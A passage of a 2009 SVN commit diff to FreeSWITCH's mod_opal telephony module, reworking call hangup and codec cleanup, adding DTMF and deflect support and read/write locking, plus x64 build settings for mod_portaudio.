+    }
 }
 
 
@@ -596,11 +657,16 @@
 
 void FSConnection::OnReleased()
 {
+    opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(m_fsSession);
+    
+    /* so FS on_hangup will not try to deref a landmine */
+    tech_pvt->me = NULL;
+    
     m_rxAudioOpened.Signal();   // Just in case
     m_txAudioOpened.Signal();
     H225_ReleaseCompleteReason dummy;
     switch_channel_hangup(switch_core_session_get_channel(m_fsSession),
-                          (switch_call_cause_t)H323TranslateFromCallEndReason(GetCallEndReason(), dummy));
+                          (switch_call_cause_t)H323TranslateFromCallEndReason(GetCallEndReason(), dummy));    
     OpalLocalConnection::OnReleased();
 }
 
@@ -623,6 +689,19 @@
 }
 
 
+PBoolean FSConnection::SendUserInputTone(char tone, unsigned duration)
+{
+    switch_dtmf_t dtmf = { tone, duration };
+    return switch_channel_queue_dtmf(m_fsChannel, &dtmf) == SWITCH_STATUS_SUCCESS;
+}
+
+
+PBoolean FSConnection::SendUserInputString(const PString & value)
+{
+  return OpalConnection::SendUserInputString(value);
+}
+
+
 OpalMediaFormatList FSConnection::GetMediaFormats() const
 {
     if (m_switchMediaFormats.IsEmpty()) {
@@ -637,37 +716,37 @@
 {
     int numCodecs = 0;
     const switch_codec_implementation_t *codecs[SWITCH_MAX_CODECS];    
-	const char *codec_string = NULL, *abs, *ocodec;
+    const char *codec_string = NULL, *abs, *ocodec;
     char *tmp_codec_string = NULL;
     char *codec_order[SWITCH_MAX_CODECS];
     int codec_order_last;
 
 
-	if ((abs = switch_channel_get_variable(m_fsChannel, "absolute_codec_string"))) {
-		codec_string = abs;
-	} else {
-		if ((abs = switch_channel_get_variable(m_fsChannel, "codec_string"))) {
+    if ((abs = switch_channel_get_variable(m_fsChannel, "absolute_codec_string"))) {
+        codec_string = abs;
+    } else {
+        if ((abs = switch_channel_get_variable(m_fsChannel, "codec_string"))) {
             codec_string = abs;
-		}
+        }
 
-		if ((ocodec = switch_channel_get_variable(m_fsChannel, SWITCH_ORIGINATOR_CODEC_VARIABLE))) {
+        if ((ocodec = switch_channel_get_variable(m_fsChannel, SWITCH_ORIGINATOR_CODEC_VARIABLE))) {
             codec_string = switch_core_session_sprintf(m_fsSession, "%s,%s", ocodec, codec_string);
-		}
-	}
+        }
+    }
     
     if (!codec_string) {
         codec_string = mod_opal_globals.codec_string;
     }
 
-	if (codec_string) {
-		if ((tmp_codec_string = strdup(codec_string))) {
-			codec_order_last = switch_separate_string(tmp_codec_string, ',', codec_order, SWITCH_MAX_CODECS);
+    if (codec_string) {
+        if ((tmp_codec_string = strdup(codec_string))) {
+            codec_order_last = switch_separate_string(tmp_codec_string, ',', codec_order, SWITCH_MAX_CODECS);
             numCodecs = switch_loadable_module_get_codecs_sorted(codecs, SWITCH_MAX_CODECS, codec_order, codec_order_last);
             
-		}
-	} else {
-		numCodecs = switch_loadable_module_get_codecs(codecs, sizeof(codecs) / sizeof(codecs[0]));
-	}
+        }
+    } else {
+        numCodecs = switch_loadable_module_get_codecs(codecs, sizeof(codecs) / sizeof(codecs[0]));
+    }
     
     for (int i = 0; i < numCodecs; i++) {
         const switch_codec_implementation_t *codec = codecs[i];
@@ -680,11 +759,8 @@
             // See if we have a match by name alone
             switchFormat = codec->iananame;
             if (!switchFormat.IsValid()) {
-                // Add the new name to OPAL's global lists
-                if (m_endpoint.AddMediaFormat(codec)) {
-                    // Now we finally have it
-                    switchFormat = codec->iananame;
-                }
+              PTRACE(2, "mod_opal\tCould not match FS codec " << codec->iananame << " to OPAL media format.");
+              continue;
             }
         }
         
@@ -782,29 +858,68 @@
     return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_status_t on_destroy(switch_core_session_t *session)
+{
+    //switch_channel_t *channel = switch_core_session_get_channel(session);
+    opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(session);
+    
+    if (tech_pvt) {
+    if (tech_pvt->read_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->read_codec);
+    }
 
-switch_status_t FSConnection::on_hangup()
+    if (tech_pvt->write_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->write_codec);
+    }
+
+    if (tech_pvt->vid_read_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->vid_read_codec);
+    }
+
+    if (tech_pvt->vid_write_codec.implementation) {
+        switch_core_codec_destroy(&tech_pvt->vid_write_codec);
+    }
+
+    if (tech_pvt->read_timer.timer_interface) {
+        switch_core_timer_destroy(&tech_pvt->read_timer);
+    }
+
+    if (tech_pvt->vid_read_timer.timer_interface) {
+        switch_core_timer_destroy(&tech_pvt->vid_read_timer);
+    }
+    }
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/* this function has to be called with the original session beause the FSConnection might already be destroyed and we 
+   will can't have it be a method of a dead object
+ */
+static switch_status_t on_hangup(switch_core_session_t *session)
 {
-    switch_channel_t *channel = switch_core_session_get_channel(m_fsSession);
-    if (channel == NULL) {
-        return SWITCH_STATUS_FALSE;
+    switch_channel_t *channel = switch_core_session_get_channel(session);
+    opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(session);
+    
+    /* if this is still here it was our idea to hangup not opal's */
+    if (tech_pvt->me) {
+        Q931::CauseValues cause = (Q931::CauseValues)switch_channel_get_cause_q850(channel);
+        tech_pvt->me->SetQ931Cause(cause);
+        tech_pvt->me->ClearCallSynchronous(NULL, H323TranslateToCallEndReason(cause, UINT_MAX));
+        tech_pvt->me = NULL;
     }
 
-    Q931::CauseValues cause = (Q931::CauseValues)switch_channel_get_cause_q850(channel);
-    SetQ931Cause(cause);
-    ClearCallSynchronous(NULL, H323TranslateToCallEndReason(cause, UINT_MAX));
     return SWITCH_STATUS_SUCCESS;
 }
 
 
-switch_status_t FSConnection::on_loopback()
+switch_status_t FSConnection::on_exchange_media()
 {
     PTRACE(3, "mod_opal\tLoopback on connection " << *this);
     return SWITCH_STATUS_SUCCESS;
 }
 
 
-switch_status_t FSConnection::on_transmit()
+switch_status_t FSConnection::on_soft_execute()
 {
     PTRACE(3, "mod_opal\tTransmit on connection " << *this);
     return SWITCH_STATUS_SUCCESS;
@@ -839,8 +954,7 @@
 
 switch_status_t FSConnection::receive_message(switch_core_session_message_t *msg)
 {
-    switch_core_session_t *session = GetSession();
-    switch_channel_t *channel = switch_core_session_get_channel(session);
+    switch_channel_t *channel = switch_core_session_get_channel(m_fsSession);
 
 
     /*
@@ -879,6 +993,14 @@
         OnAlerting();
         break;
 
+    case SWITCH_MESSAGE_INDICATE_DEFLECT:
+    {
+        PSafePtr<OpalConnection> other = GetOtherPartyConnection();
+        if (other != NULL)
+          other->TransferConnection(msg->string_arg);
+        break;
+    }
+
     case SWITCH_MESSAGE_INDICATE_PROGRESS:
     case SWITCH_MESSAGE_INDICATE_ANSWER:
         {
@@ -996,16 +1118,19 @@
 FSMediaStream::FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, unsigned sessionID, bool isSource)
     : OpalMediaStream(conn, mediaFormat, sessionID, isSource)
     , m_fsSession(conn.GetSession())
+    , m_readRTP(0, 512)
     , m_callOnStart(true)
 {
     memset(&m_readFrame, 0, sizeof(m_readFrame));
-    m_readFrame.codec = &m_switchCodec;
+    m_readFrame.codec = m_switchCodec;
     m_readFrame.flags = SFF_RAW_RTP;
 }
 
 
 PBoolean FSMediaStream::Open()
 {
+    opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(m_fsSession);
+
     if (IsOpen()) {
         return true;
     }
@@ -1023,13 +1148,21 @@
     
     int ptime = mediaFormat.GetOptionInteger(OpalAudioFormat::TxFramesPerPacketOption()) * mediaFormat.GetFrameTime() / mediaFormat.GetTimeUnits();
 
+
+    if (IsSink()) {
+        m_switchCodec = isAudio ? &tech_pvt->read_codec : &tech_pvt->vid_read_codec;
+        m_switchTimer = isAudio ? &tech_pvt->read_timer : &tech_pvt->vid_read_timer;
+    } else {
+        m_switchCodec = isAudio ? &tech_pvt->write_codec : &tech_pvt->vid_write_codec;
+    }
+
     // The following is performed on two different instances of this object.
-    if (switch_core_codec_init(&m_switchCodec, mediaFormat.GetEncodingName(), NULL, // FMTP
+    if (switch_core_codec_init(m_switchCodec, mediaFormat.GetEncodingName(), NULL, // FMTP
                                mediaFormat.GetClockRate(), ptime, 1,  // Channels
                                SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,   // Settings
                                switch_core_session_get_pool(m_fsSession)) != SWITCH_STATUS_SUCCESS) {
         // Could not select a codecs using negotiated frames/packet, so try using default.
-        if (switch_core_codec_init(&m_switchCodec, mediaFormat.GetEncodingName(), NULL, // FMTP
+        if (switch_core_codec_init(m_switchCodec, mediaFormat.GetEncodingName(), NULL, // FMTP
                                    mediaFormat.GetClockRate(), 0, 1,  // Channels
                                    SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,   // Settings
                                    switch_core_session_get_pool(m_fsSession)) != SWITCH_STATUS_SUCCESS) {
@@ -1050,24 +1183,25 @@
         m_readFrame.rate = mediaFormat.GetClockRate();
 
         if (isAudio) {
-            switch_core_session_set_read_codec(m_fsSession, &m_switchCodec);
-            if (switch_core_timer_init(&m_switchTimer,
+            switch_core_session_set_read_codec(m_fsSession, m_switchCodec);
+            if (switch_core_timer_init(m_switchTimer,
                                        "soft",
-                                       m_switchCodec.implementation->microseconds_per_packet / 1000,
-                                       m_switchCodec.implementation->samples_per_packet,
+                                       m_switchCodec->implementation->microseconds_per_packet / 1000,
+                                       m_switchCodec->implementation->samples_per_packet,
                                        switch_core_session_get_pool(m_fsSession)) != SWITCH_STATUS_SUCCESS) {
-                switch_core_codec_destroy(&m_switchCodec);
+                switch_core_codec_destroy(m_switchCodec);
+                m_switchCodec = NULL;
                 return false;
             }
         } else {
-            switch_core_session_set_video_read_codec(m_fsSession, &m_switchCodec);
+            switch_core_session_set_video_read_codec(m_fsSession, m_switchCodec);
             switch_channel_set_flag(m_fsChannel, CF_VIDEO);
         }
     } else {
         if (isAudio) {
-            switch_core_session_set_write_codec(m_fsSession, &m_switchCodec);
+            switch_core_session_set_write_codec(m_fsSession, m_switchCodec);
         } else {
-            switch_core_session_set_video_write_codec(m_fsSession, &m_switchCodec);
+            switch_core_session_set_video_write_codec(m_fsSession, m_switchCodec);
             switch_channel_set_flag(m_fsChannel, CF_VIDEO);
         }
     }
@@ -1084,36 +1218,11 @@
     if (!IsOpen())
         return false;
 
-    bool isAudio;
+    /* forget these FS will properly destroy them for us */
 
-    if (mediaFormat.GetMediaType() == OpalMediaType::Audio()) {
-        isAudio = true;
-    } else if (mediaFormat.GetMediaType() == OpalMediaType::Video()) {
-        isAudio = false;
-    } else {
-        return OpalMediaStream::Close();
-    }
+    m_switchTimer = NULL;
+    m_switchCodec = NULL;
 
-    if (IsSink()) {
-        if (isAudio) {
-            switch_core_session_unset_read_codec(m_fsSession);
-            switch_core_timer_destroy(&m_switchTimer);
-        } else {
-            switch_core_session_set_video_read_codec(m_fsSession, NULL);
-        }
-
-        switch_core_codec_destroy(&m_switchCodec);
-    } else {
-        if (isAudio)
-            switch_core_session_unset_write_codec(m_fsSession);
-        else
-            switch_core_session_set_video_write_codec(m_fsSession, NULL);
-        switch_core_codec_destroy(&m_switchCodec);
-    }
-
-    PTRACE(3, "mod_opal\tReset & destroyed " << (IsSink()? "read" : "write")
-           << ' ' << mediaFormat.GetMediaType() << " codec for connection " << *this);
-
     return OpalMediaStream::Close();
 }
 
@@ -1129,9 +1238,29 @@
     return false;
 }
 
+bool FSMediaStream::CheckPatchAndLock()
+{
+    if (GetConnection().GetPhase() >= GetConnection().ReleasingPhase || !IsOpen())
+        return false;
 
+    if (LockReadWrite()) {
+        if (!GetPatch() || !IsOpen()) {
+            UnlockReadWrite();
+            return false;
+        }
+        return true;
+    } else {
+        return false;
+    }
+}
+
 switch_status_t FSMediaStream::read_frame(switch_frame_t **frame, switch_io_flag_t flags)
 {
+
+    if (!m_switchCodec) {
+        return SWITCH_STATUS_FALSE;
+    }
+
     if (m_callOnStart) {
         /*
           There is a race here... sometimes we make it here and GetPatch() is NULL
@@ -1139,18 +1268,32 @@
           
         */
         while(!GetPatch()) {
+            if (!m_fsChannel || !switch_channel_up(m_fsChannel)) {
+                return SWITCH_STATUS_FALSE;
+            }
             switch_cond_next();
         }
-        GetPatch()->OnPatchStart();
-        m_callOnStart = false;
+        if (CheckPatchAndLock()) {
+            GetPatch()->OnPatchStart();
+            m_callOnStart = false;
+            UnlockReadWrite();
+        } else {
+            return SWITCH_STATUS_FALSE; 
+        }
     }
 
     m_readFrame.flags = 0;
 
     /*
     while (switch_channel_ready(m_fsChannel)) {
-        if (!GetPatch()->GetSource().ReadPacket(m_readRTP)) {
-            return SWITCH_STATUS_FALSE;
+        if (CheckPatchAndLock()) {
+            if (!GetPatch()->GetSource().ReadPacket(m_readRTP)) {
+                UnlockReadWrite();
+                return SWITCH_STATUS_FALSE;
+            }            
+            UnlockReadWrite();
+        } else {
+            return SWITCH_STATUS_FALSE; 
         }
         
         if ((m_readFrame.datalen = m_readRTP.GetPayloadSize()) || switch_core_timer_check(&m_switchTimer, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
@@ -1168,9 +1311,16 @@
     if (switch_channel_test_private_flag(m_fsChannel, CF_NEED_FLUSH)) {
         switch_channel_clear_private_flag(m_fsChannel, CF_NEED_FLUSH);
         for(;;) {
-            if (!GetPatch()->GetSource().ReadPacket(m_readRTP)) {
-                return SWITCH_STATUS_FALSE;
+            if (CheckPatchAndLock()) {
+                if (!GetPatch()->GetSource().ReadPacket(m_readRTP)) {
+                    UnlockReadWrite();
+                    return SWITCH_STATUS_FALSE;
+                }            
+                UnlockReadWrite();
+            } else {
+                return SWITCH_STATUS_FALSE; 
             }
+
             if (!m_readRTP.GetPayloadSize()) {
                 m_readFrame.flags = SFF_CNG;
                 break;
@@ -1178,11 +1328,17 @@
         }
     } else {
 
-        if (!GetPatch()->GetSource().ReadPacket(m_readRTP)) {
-            return SWITCH_STATUS_FALSE;
+        if (CheckPatchAndLock()) {
+            if (!m_switchTimer || !GetPatch()->GetSource().ReadPacket(m_readRTP)) {
+                UnlockReadWrite();
+                return SWITCH_STATUS_FALSE;
+            }            
+            UnlockReadWrite();
+        } else {
+            return SWITCH_STATUS_FALSE; 
         }
     
-        switch_core_timer_next(&m_switchTimer);
+        switch_core_timer_next(m_switchTimer);
     
         if (!(m_readFrame.datalen = m_readRTP.GetPayloadSize())) {
             m_readFrame.flags = SFF_CNG;
@@ -1193,17 +1349,39 @@
         return SWITCH_STATUS_FALSE;
     }
 
+    if (!switch_core_codec_ready(m_switchCodec)) {
+        return SWITCH_STATUS_FALSE;
+    }
+
     //switch_core_timer_step(&m_switchTimer);
 
-    m_readFrame.buflen = m_readRTP.GetSize();
-    m_readFrame.data = m_readRTP.GetPayloadPtr();
-    m_readFrame.packet = m_readRTP.GetPointer();
-    m_readFrame.packetlen = m_readRTP.GetHeaderSize() + m_readFrame.datalen;
-    m_readFrame.payload = (switch_payload_t) m_readRTP.GetPayloadType();
-    m_readFrame.timestamp = m_readRTP.GetTimestamp();
-    m_readFrame.m = (switch_bool_t) m_readRTP.GetMarker();
-    m_readFrame.seq = m_readRTP.GetSequenceNumber();
-    m_readFrame.ssrc = m_readRTP.GetSyncSource();
+    if (m_readFrame.payload == RTP_DataFrame::CN || m_readFrame.payload == RTP_DataFrame::Cisco_CN) {
+        m_readFrame.flags = SFF_CNG;
+    }
+
+    if (m_readFrame.flags & SFF_CNG) {
+        m_readFrame.buflen = sizeof(m_buf);
+        m_readFrame.data = m_buf;
+        m_readFrame.packet = NULL;
+        m_readFrame.packetlen = 0;
+        m_readFrame.timestamp = 0;
+        m_readFrame.m = SWITCH_FALSE;
+        m_readFrame.seq = 0;
+        m_readFrame.ssrc = 0;
+        m_readFrame.codec = m_switchCodec;
+    } else {
+        m_readFrame.buflen = m_readRTP.GetSize();
+        m_readFrame.data = m_readRTP.GetPayloadPtr();
+        m_readFrame.packet = m_readRTP.GetPointer();
+        m_readFrame.packetlen = m_readRTP.GetHeaderSize() + m_readFrame.datalen;
+        m_readFrame.payload = (switch_payload_t) m_readRTP.GetPayloadType();
+        m_readFrame.timestamp = m_readRTP.GetTimestamp();
+        m_readFrame.m = (switch_bool_t) m_readRTP.GetMarker();
+        m_readFrame.seq = m_readRTP.GetSequenceNumber();
+        m_readFrame.ssrc = m_readRTP.GetSyncSource();
+        m_readFrame.codec = m_switchCodec;
+    }
+
     *frame = &m_readFrame;
 
     return SWITCH_STATUS_SUCCESS;
@@ -1212,15 +1390,18 @@
 
 switch_status_t FSMediaStream::write_frame(const switch_frame_t *frame, switch_io_flag_t flags)
 {
-    RTP_DataFrame rtp;
-
     if (!switch_channel_ready(m_fsChannel)) {
         return SWITCH_STATUS_FALSE;
     }
 
     if (m_callOnStart) {
-        GetPatch()->OnPatchStart();
-        m_callOnStart = false;
+        if (CheckPatchAndLock()) {
+            GetPatch()->OnPatchStart();
+            m_callOnStart = false;
+            UnlockReadWrite();
+        } else {
+            return SWITCH_STATUS_FALSE; 
+        }
     }
 
     if ((frame->flags & SFF_CNG)) {
@@ -1229,8 +1410,15 @@
 
     if ((frame->flags & SFF_RAW_RTP) != 0) {
         RTP_DataFrame rtp((const BYTE *) frame->packet, frame->packetlen, false);
-        if (GetPatch()->PushFrame(rtp)) {
-            return SWITCH_STATUS_SUCCESS;
+
+        if (CheckPatchAndLock()) {
+            if (GetPatch()->PushFrame(rtp)) {
+                UnlockReadWrite();
+                return SWITCH_STATUS_SUCCESS;
+            }
+            UnlockReadWrite();
+        } else {
+            return SWITCH_STATUS_FALSE; 
         }
     } 
     
@@ -1241,8 +1429,8 @@
        better if we could engage whatever it is in opal that makes it generate the timestamp.
      */
 
+    RTP_DataFrame rtp(frame->datalen);
     rtp.SetPayloadType(mediaFormat.GetPayloadType());
-    rtp.SetPayloadSize(frame->datalen);
 
     m_timeStamp += frame->samples;
     rtp.SetTimestamp(m_timeStamp);
@@ -1253,8 +1441,14 @@
 
     memcpy(rtp.GetPayloadPtr(), frame->data, frame->datalen);
 
-    if (GetPatch()->PushFrame(rtp)) {
-        return SWITCH_STATUS_SUCCESS;
+    if (CheckPatchAndLock()) {
+        if (GetPatch()->PushFrame(rtp)) {
+            UnlockReadWrite();
+            return SWITCH_STATUS_SUCCESS;
+        }
+        UnlockReadWrite();
+    } else {
+        return SWITCH_STATUS_FALSE; 
     }
 
 

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,21 +26,29 @@
 #ifndef __FREESWITCH_MOD_OPAL__
 #define __FREESWITCH_MOD_OPAL__
 
-#define HAVE_APR
-#include <switch.h>
-#include <switch_version.h>
-#define MODNAME "mod_opal"
+#if defined(__GNUC__) && defined(HAVE_VISIBILITY)
+#pragma GCC visibility push(default)
+#endif
 
-#undef strcasecmp
-#undef strncasecmp
-
 #include <ptlib.h>
 #include <opal/manager.h>
 #include <opal/localep.h>
 #include <h323/h323ep.h>
 #include <iax2/iax2ep.h>
 
+#if defined(__GNUC__) && defined(HAVE_VISIBILITY)
+#pragma GCC visibility pop
+#endif
 
+#undef strcasecmp
+#undef strncasecmp
+
+#define HAVE_APR
+#include <switch.h>
+#include <switch_version.h>
+#define MODNAME "mod_opal"
+
+
 class FSEndPoint;
 class FSManager;
 
@@ -82,6 +90,14 @@
 };
 
 
+class FSCall : public OpalCall {
+    PCLASSINFO(FSCall, OpalCall);
+  public:
+    FSCall(OpalManager & manager);
+    virtual PBoolean OnSetUp(OpalConnection & connection);
+};
+
+
 class FSManager : public OpalManager {
     PCLASSINFO(FSManager, OpalManager);
 
@@ -96,17 +112,36 @@
         return m_FreeSwitch;
     }
 
+    virtual OpalCall * CreateCall(void * userData);
+
   private:
     switch_endpoint_interface_t *m_FreeSwitch;
 
     H323EndPoint *m_h323ep;
     IAX2EndPoint *m_iaxep;
-    FSEndPoint *m_fsep;
+    FSEndPoint   *m_fsep;
 
+    PString m_gkAddress;
+    PString m_gkIdentifer;
+    PString m_gkInterface;
+
     list < FSListener > m_listeners;
 };
 
 
+class FSConnection;
+typedef struct {
+    switch_timer_t read_timer;
+    switch_codec_t read_codec;
+    switch_codec_t write_codec;
+
+    switch_timer_t vid_read_timer;
+    switch_codec_t vid_read_codec;
+    switch_codec_t vid_write_codec;
+    FSConnection *me;
+} opal_private_t;
+
+
 class FSEndPoint:public OpalLocalEndPoint {
     PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
  public:
@@ -114,38 +149,39 @@
 
     virtual bool OnIncomingCall(OpalLocalConnection &);
     virtual OpalLocalConnection *CreateConnection(OpalCall &, void *);
-
-    bool AddMediaFormat(const switch_codec_implementation_t *codec);
-
-  private:
-    PList<OpalMediaFormat> m_globalMediaFormats;
 };
 
 
-#define DECLARE_CALLBACK0(name)                                         \
+#define DECLARE_CALLBACK0(name)                           \
     static switch_status_t name(switch_core_session_t *session) {       \
-        FSConnection * conn = (FSConnection *)switch_core_session_get_private(session); \
-        return conn != NULL ? conn->name() : SWITCH_STATUS_FALSE; }     \
+        opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(session); \
+        return tech_pvt && tech_pvt->me != NULL ? tech_pvt->me->name() : SWITCH_STATUS_FALSE; } \
 switch_status_t name()
 
 #define DECLARE_CALLBACK1(name, type1, name1)                           \
     static switch_status_t name(switch_core_session_t *session, type1 name1) { \
-        FSConnection * conn = (FSConnection *)switch_core_session_get_private(session); \
-        return conn != NULL ? conn->name(name1) : SWITCH_STATUS_FALSE; } \
-    switch_status_t name(type1 name1)
+        opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(session); \
+        return tech_pvt && tech_pvt->me != NULL ? tech_pvt->me->name(name1) : SWITCH_STATUS_FALSE; } \
+switch_status_t name(type1 name1)
 
 #define DECLARE_CALLBACK3(name, type1, name1, type2, name2, type3, name3) \
     static switch_status_t name(switch_core_session_t *session, type1 name1, type2 name2, type3 name3) { \
-        FSConnection * conn = (FSConnection *)switch_core_session_get_private(session); \
-        return conn != NULL ? conn->name(name1, name2, name3) : SWITCH_STATUS_FALSE; } \
-    switch_status_t name(type1 name1, type2 name2, type3 name3)
+        opal_private_t *tech_pvt = (opal_private_t *) switch_core_session_get_private(session); \
+        return tech_pvt && tech_pvt->me != NULL ? tech_pvt->me->name(name1, name2, name3) : SWITCH_STATUS_FALSE; } \
+switch_status_t name(type1 name1, type2 name2, type3 name3)
 
 
+
+
 class FSConnection:public OpalLocalConnection {
     PCLASSINFO(FSConnection, OpalLocalConnection)
 
   public:
-    FSConnection(OpalCall & call, FSEndPoint & endpoint);
+    FSConnection(OpalCall & call,
+                 FSEndPoint & endpoint,
+                 switch_caller_profile_t *outbound_profile,
+                 switch_core_session_t *fsSession,
+                 switch_channel_t *fsChannel);
 
     virtual bool OnIncoming();
     virtual void OnReleased();
@@ -155,16 +191,18 @@
     virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
     virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
     virtual OpalMediaFormatList GetMediaFormats() const;
+    virtual PBoolean SendUserInputTone(char tone, unsigned duration);
+    virtual PBoolean SendUserInputString(const PString & value);
 
     void SetCodecs();
 
     DECLARE_CALLBACK0(on_init);
     DECLARE_CALLBACK0(on_routing);
     DECLARE_CALLBACK0(on_execute);
-    DECLARE_CALLBACK0(on_hangup);
-    DECLARE_CALLBACK0(on_loopback);
-    DECLARE_CALLBACK0(on_transmit);
 
+    DECLARE_CALLBACK0(on_exchange_media);
+    DECLARE_CALLBACK0(on_soft_execute);
+
     DECLARE_CALLBACK1(kill_channel, int, sig);
     DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
     DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
@@ -211,12 +249,15 @@
  private:
     switch_core_session_t *m_fsSession;
     switch_channel_t *m_fsChannel;
-    switch_timer_t m_switchTimer;
-    switch_codec_t m_switchCodec;
+    switch_timer_t *m_switchTimer;
+    switch_codec_t *m_switchCodec;
     switch_frame_t m_readFrame;
+    unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
     RTP_DataFrame m_readRTP;
     bool m_callOnStart;
     uint32_t m_timeStamp;
+
+    bool CheckPatchAndLock();
 };
 
 

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal_2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal_2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_opal/mod_opal_2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -56,6 +56,7 @@
 				Name="VCLinkerTool"
 				AdditionalOptions="/NODEFAULTLIB:LIMBCTD"
 				AdditionalDependencies="opalsd.lib ptlibsd.lib"
+				LinkIncremental="2"
 				AdditionalLibraryDirectories=""
 				RandomizedBaseAddress="1"
 				DataExecutionPrevention="0"
@@ -121,7 +122,7 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies=""
+				AdditionalDependencies="opals.lib ptlibs.lib"
 				AdditionalLibraryDirectories=""
 				RandomizedBaseAddress="1"
 				DataExecutionPrevention="0"

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_portaudio


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_PortAudio.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_PortAudio.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_portaudio/mod_PortAudio.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -84,6 +87,76 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\portaudio\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;ALLOW_SMP_DANGERS"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4100;4101"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="/NODEFAULTLIB:LIMBCTD"
+				AdditionalDependencies="ksuser.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\portaudio\winvc\Lib&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -149,6 +222,75 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\portaudio\include&quot;"
+				PreprocessorDefinitions="ALLOW_SMP_DANGERS"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4100;4101"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
